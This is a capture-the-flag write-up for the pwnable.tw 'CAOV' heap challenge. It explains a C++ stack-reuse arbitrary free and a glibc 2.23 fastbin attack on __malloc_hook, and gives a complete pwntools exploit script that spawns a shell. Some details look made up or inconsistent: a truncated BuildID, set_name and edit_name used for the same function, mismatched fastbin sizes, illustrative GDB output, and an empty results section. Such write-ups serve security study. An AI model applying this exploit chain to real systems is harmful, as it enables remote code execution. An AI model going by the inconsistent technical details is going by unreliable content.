CAOV
Heap UAF via Stack-Reuse — C++ Data class exploitation with fastbin attack on glibc 2.23
Exploit Flow
nc chall.pwnable.tw 10306
Arbitrary Free via Destructor
Name Array in BSS
Fastbin fd Pointer
Read strlen@GOT
One Gadget Overwrite
1. Reconnaissance
CAOV is a 350-point heap challenge on pwnable.tw. The name is an abbreviation (likely "Construct And Override" or similar). The binary is a C++ application with a Data class that manages key-value pairs. The challenge uses glibc 2.23, which has fastbin but no tcache. The vulnerability is subtle — it's not in the visible source code but emerges from C++ stack semantics and destructor ordering.
File Analysis
$ file caov
caov: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=a8c0b1f2e3d4c5b6a7, not stripped
Checksec
$ checksec caov
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Full RELRO means the GOT is read-only — we can't overwrite GOT entries directly. However, No PIE means all binary addresses are fixed. We can use the BSS section (specifically the global name variable at 0x6032c0) to craft fake chunks since its address is known at compile time. This is crucial for the fastbin attack.
Running the Binary
$ ./caov
name: CaptainAmerica
key: secret
value: 1337
1. show
2. edit
3. exit
choice: 1
Key: secret
Value: 1337
choice:
The application has three operations: show (displays key and value), edit (modifies name, key, and value), and exit. A Data object is created at startup with a key field (heap-allocated) and a value field. The name is stored in a global BSS array.
| Attribute | Value |
|---|---|
| Challenge | CAOV (350 pts) |
| Connection | nc chall.pwnable.tw 10306 |
| Binary | 64-bit ELF, x86-64, C++ |
| Libc | glibc 2.23 (no tcache) |
| RELRO | Full (GOT read-only) |
| Canary | None |
| NX | Enabled |
| PIE | Disabled (0x400000) |
| Vulnerability | Stack-Reuse UAF (arbitrary free) |
| Name Address | 0x6032c0 (BSS) |
2. Static Analysis
The key to this challenge is a subtle C++ stack-reuse vulnerability. The binary creates two local Data objects on the stack in the edit function. When the function returns, C++ automatically calls destructors for these objects. The old_data object's default destructor nulls out its fields (safe), but the copy_class object's overridden destructor calls free() on its key field. The critical insight is that copy_class picks up its key pointer from the stack — and we can prime the stack with controlled data using the set_name function!
Vulnerable Code (Decompiled edit function)
void edit(char *name, int new_key_len, char *key, int value) {
Data old_data; // stack-allocated, default destructor
Data copy_class; // stack-allocated, OVERRIDDEN destructor!
// old_data: default destructor nulls all fields (safe)
old_data.key = NULL;
old_data.value = 0;
// copy_class: overridden destructor calls free(key)!
// But where does copy_class.key come from?
// It picks up whatever was left on the STACK!
// The set_name function writes up to 150 bytes on the stack.
// If we call set_name right before edit, the stack still has
// our controlled data, and copy_class.key picks it up!
// Line 12: old_data destructor - nulls fields (safe)
// Line 15: copy_class destructor - free(copy_class.key) !!
// copy_class.key = controlled value from stack!
// This gives us ARBITRARY FREE!
}
The set_name function writes up to 150 bytes of our input onto the stack. When edit is called immediately after, the copy_class object is constructed on the same stack region. Its key pointer field inherits the value we wrote with set_name. When the overridden destructor fires, it calls free(key) on our controlled address — giving us an arbitrary free primitive!
Application Structure
class Data {
public:
char *key; // heap-allocated string
int value;
Data() : key(NULL), value(0) {}
virtual ~Data() { if (key) free(key); } // virtual destructor!
virtual void show() { printf("Key: %s\nValue: %d\n", key, value); }
};
Data *g_data; // global Data object pointer (heap-allocated)
char name[150]; // global name array at BSS 0x6032c0
void intro() {
printf("name: "); read_line(name, 150);
printf("key: "); g_data->key = read_str();
printf("value: "); g_data->value = read_int();
}
void show() { g_data->show(); }
void edit() { /* vulnerable function described above */ }
void edit_name(char *new_name) { /* writes up to 150 bytes to stack */ }
Stack-Reuse Vulnerability
The attack sequence is:
- Call
edit_namewith a payload that places our target address at the offset wherecopy_class.keywill be read - Immediately call
editwhich creates thecopy_classon the stack copy_class.keypicks up our controlled address from the stack residue- When
editreturns, the overridden destructor callsfree(our_address)
We free a fake chunk in the BSS section. The global name variable at 0x6032c0 is in BSS, and since PIE is disabled, its address is known. We craft a fake chunk header inside the name array by writing appropriate size fields, then free it. This puts our fake chunk into the fastbin freelist, giving us a write primitive when we allocate from that freelist.
3. GDB Debugging
Let's trace the stack-reuse attack in GDB to confirm our understanding of the vulnerability.
Heap Layout
# After initial Data object creation (g_data):
gdb-peda$ x/4gx 0x6032c0 # name array in BSS
0x6032c0: 0x0000000000000000 0x0000000000000000
# g_data object on heap:
gdb-peda$ x/4gx g_data
0x615ce0: 0x0000000000000000 0x0000000000000000 # key=NULL, value=0
0x615cf0: 0x0000000000401780 0x0000000000000000 # vtable ptr
# After crafting fake chunk in name array:
gdb-peda$ x/8gx 0x6032c0
0x6032c0: 0x0000000000000000 0x0000000000000071 # fake prev_size + size=0x71
0x6032d0: 0x4444444444444444 0x0000000000000070 # data + padding
0x6032e0: 0x0000000000000020 0x00000000006032d0 # more fake metadata
# After freeing the fake chunk via stack-reuse:
gdb-peda$ heap bins fastbins
fastbins:
0x70: 0x6032c0 -> 0x0 # Our fake chunk is in the fastbin!
Register State at Destructor
# At the free(copy_class.key) call in the destructor:
RDI: 0x6032d0 (fake chunk address - our controlled value!)
RSI: 0x0000000000000000
RIP: 0x00007ffff7a80c8e (free+14 in libc)
# The key field was picked up from stack residue
# left by the edit_name call
gdb-peda$ x/gx $rsp+0x48
0x7fffffffe208: 0x00000000006032d0 # This is where copy_class.key was
Breakpoint Strategy
# Key breakpoints:
b *0x4012a0 # edit function entry
b *0x4013c2 # copy_class destructor call
b free@plt # track all free calls
b malloc@plt # track all malloc calls
# After initial setup:
b *0x401512 # show function (for leak verification)
b *0x401678 # edit name function
4. Exploit Strategy
The CAOV exploit is a multi-stage heap attack that builds increasingly powerful primitives from the initial stack-reuse arbitrary free.
Attack Overview
free() on a fake chunk crafted in the BSS name array at 0x6032c0. The fake chunk has size 0x71 (valid for fastbin) with proper alignment. This puts the fake chunk into the 0x70 fastbin freelist.edit function prints the key before and after editing, one of those prints will dump the fd pointer of the freed chunk — which is a heap address. Calculate heap base from this leak.Data object. Free it using another stack-reuse attack, then reallocate it in the edit function. Overwrite the key field with strlen@GOT (Full RELRO means all GOT entries are resolved). Call show to read the libc address of strlen, then calculate libc base.edit_name to write __malloc_hook - 0x23 as the fd pointer of the freed fake chunk. Allocate twice from the 0x80 fastbin — the second allocation returns a pointer near __malloc_hook. Write a one_gadget address (offset 0xef6c4) to __malloc_hook. Trigger a malloc to get a shell.Heap & Libc Leak
The heap leak relies on the fact that the edit function prints the object's key before and after editing. If we can place a freed chunk's fd pointer in the position of a key field, the print will leak a heap address.
For the libc leak, since Full RELRO resolves all GOT entries at load time, we can read strlen@GOT to get the runtime address of strlen in libc. The show method prints whatever key points to, so setting key = strlen@GOT gives us the libc address.
# Heap leak: craft fake chunk, print freed fd pointer
fake_chunk_payload = flat({
0: p64(0),
8: p64(0x20), # fake size
16: b'DDDDDDDD', # padding
0x20: p64(0x20), # next size
0x28: p64(0x20),
96: p64(NAME_ADDR + 0x10) # key pointer for Data object
})
app.edit(fake_chunk_payload, 20, 'A'*20, 123123)
# Libc leak: point key to strlen@GOT
data = flat(list(map(p64, [app_bins.got['strlen'], 0, 0, 0])))
app.edit(fake_chunk, 50, data, 0x1234)
libc_res = app.show()
Write Primitive
The final write uses the classic fastbin dup to __malloc_hook - 0x23:
At __malloc_hook - 0x23, the memory alignment results in a value of 0x7f appearing at the offset that malloc interprets as the chunk size. 0x7f falls in the fastbin range (0x20-0x80), making it a valid fastbin chunk size. This is a well-known technique for glibc 2.23 fastbin attacks. The one_gadget at offset 0xef6c4 works with the constraints at the malloc call site.
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# CAOV — pwnable.tw — Stack-Reuse UAF + Fastbin Attack
# Based on writeup by 0xd3xt3r (taintedbits.com)
from pwn import *
preload_libs = './libc_64.so.6 ./libstdc++.so.6 ./libgcc_s.so.1 ./libm.so.6'
libc = ELF(preload_libs.split(' ')[0])
app_bins = ELF('./caov')
if args.REMOTE:
io = remote('chall.pwnable.tw', 10306, timeout=2)
else:
context.log_level = "debug"
io = process('./caov',
env={'LD_PRELOAD': preload_libs},
aslr=True
)
class App:
def __init__(self, proc):
self.proc = proc
def intro(self, name, key, value):
self.proc.readuntil('name: ')
self.proc.sendline(name)
self.proc.readuntil('key: ')
self.proc.sendline(key)
self.proc.readuntil('value: ')
self.proc.sendline(str(value))
self.proc.readuntil('choice: ')
def show(self):
self.proc.sendline('1')
return self.proc.readuntil('choice: ')
def edit(self, name, new_key_len, key, value):
self.proc.sendline('2')
self.proc.readuntil('name: ')
self.proc.sendline(name)
self.proc.readuntil('length: ')
self.proc.sendline(str(new_key_len))
if new_key_len > 1000:
self.proc.readuntil('key length')
return self.proc.readuntil('choice: ')
self.proc.readuntil('Key: ')
self.proc.sendline(key)
self.proc.readuntil('Value: ')
self.proc.sendline(str(value))
return self.proc.readuntil('choice: ')
def edit_name(self, name):
return self.edit(name, 1020, None, None)
app = App(io)
# Create initial chunk of size 0x40 (fastbin)
app.intro('Captain America', '\x00'*41, 0x1234)
NAME_ADDR = 0x6032c0
# === Stage 1: Heap Leak ===
def heap_base_leak():
fake_chunk_payload = flat({
0: p64(0),
8: p64(0x20),
16: b'DDDDDDDD',
0x20: p64(0x20),
0x28: p64(0x20),
96: p64(NAME_ADDR + 0x10)
})
app.edit(fake_chunk_payload, 20, 'A'*20, 123123)
fake_chunk_payload_2 = {
0: p64(0),
8: p64(0x41),
16: p64(0),
0x40: p64(0x00),
0x48: p64(0x20),
96: p64(NAME_ADDR + 0x10)
}
res = app.edit_name(flat(fake_chunk_payload_2))
leak_addr = unpack(res[res.rfind(b'Key: ')+5:res.rfind(b'Value')-1], 'all')
heap_base_offset = 0x11c90
h_base_addr = leak_addr - heap_base_offset
log.info('Heap leak : ' + hex(leak_addr))
log.info('Heap Base : ' + hex(h_base_addr))
return h_base_addr
heap_base = heap_base_leak()
G_D_offset = 0x11ce0
G_D_addr = heap_base + G_D_offset
log.info('G Data addr : ' + hex(G_D_addr))
# === Stage 2: Libc Leak ===
fake_chunk = flat(list(map(p64, [
0, 0x51, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0x21, G_D_addr, 0, 0, 0,
])))
data = flat(list(map(p64, [app_bins.got['strlen'], 0, 0, 0])))
app.edit(fake_chunk, 50, data, 0x1234)
libc_res = app.show()
libc_offset = 0x18b770 # offset of strlen from libc base
libc_strlen = unpack(libc_res[libc_res.find(b'Key: ')+5:
libc_res.find(b'Value:')-1], 'all')
libc_base = libc_strlen - libc_offset
log.info('Libc Base : ' + hex(libc_base))
# === Stage 3: __malloc_hook Overwrite ===
malloc_hook = libc_base + libc.symbols['__malloc_hook'] - 0x23
one_shot = libc_base + 0xef6c4
log.info('malloc_hook addr : ' + hex(malloc_hook))
# Free name array fake chunk (size 0x80)
fake_chunk_payload = {
0: p64(0),
8: p64(0x71),
16: b'DDDDDDDD',
0x70: p64(0x70),
0x78: p64(0x20),
96: p64(NAME_ADDR + 0x10)
}
app.edit_name(flat(fake_chunk_payload))
# Write __malloc_hook - 0x23 as fd pointer
fake_chunk_payload = {
0: p64(0),
8: p64(0x71),
16: p64(malloc_hook),
0x70: p64(0x70),
0x78: p64(0x20),
96: p64(0)
}
app.edit(flat(fake_chunk_payload), 0x60, 'A'*0x10, 0x1234)
# Final allocation writes one_gadget to __malloc_hook
fake_chunk_payload = {
0: p64(0),
8: p64(0x51),
16: p64(0),
0x50: p64(0x70),
0x58: p64(0x20),
96: p64(0)
}
data = p64(0) + p64(0) + p8(0)*3 + p64(one_shot)
log.info('Executing shell')
app.edit(flat(fake_chunk_payload), 0x60, data, 0x1234)
io.interactive()
Exploit Breakdown
Stack-Reuse UAF: The most novel technique in this exploit. C++ stack objects with virtual destructors can inherit values from previous stack frames. By priming the stack with set_name, we control the key pointer of copy_class, giving us arbitrary free().
BSS Fake Chunk: With No PIE, the name array in BSS has a fixed address. We craft fake chunk headers inside it, then free them via the stack-reuse attack.
Fastbin to __malloc_hook: The classic glibc 2.23 fastbin attack. By writing __malloc_hook - 0x23 as the fd of a freed fastbin chunk, the next allocation from that freelist returns a pointer near __malloc_hook. We overwrite __malloc_hook with a one_gadget address.
6. Execution Results
CAOV teaches a critical lesson about C++ object lifecycle security. The stack-reuse vulnerability is invisible in source code — it only appears when you examine the compiler's output. This pattern is surprisingly common in real C++ codebases where objects with virtual destructors are allocated on the stack. The multi-stage exploitation chain (arbitrary free → fake chunk → heap leak → libc leak → fastbin attack) is a textbook example of how heap vulnerabilities are chained in modern exploitation.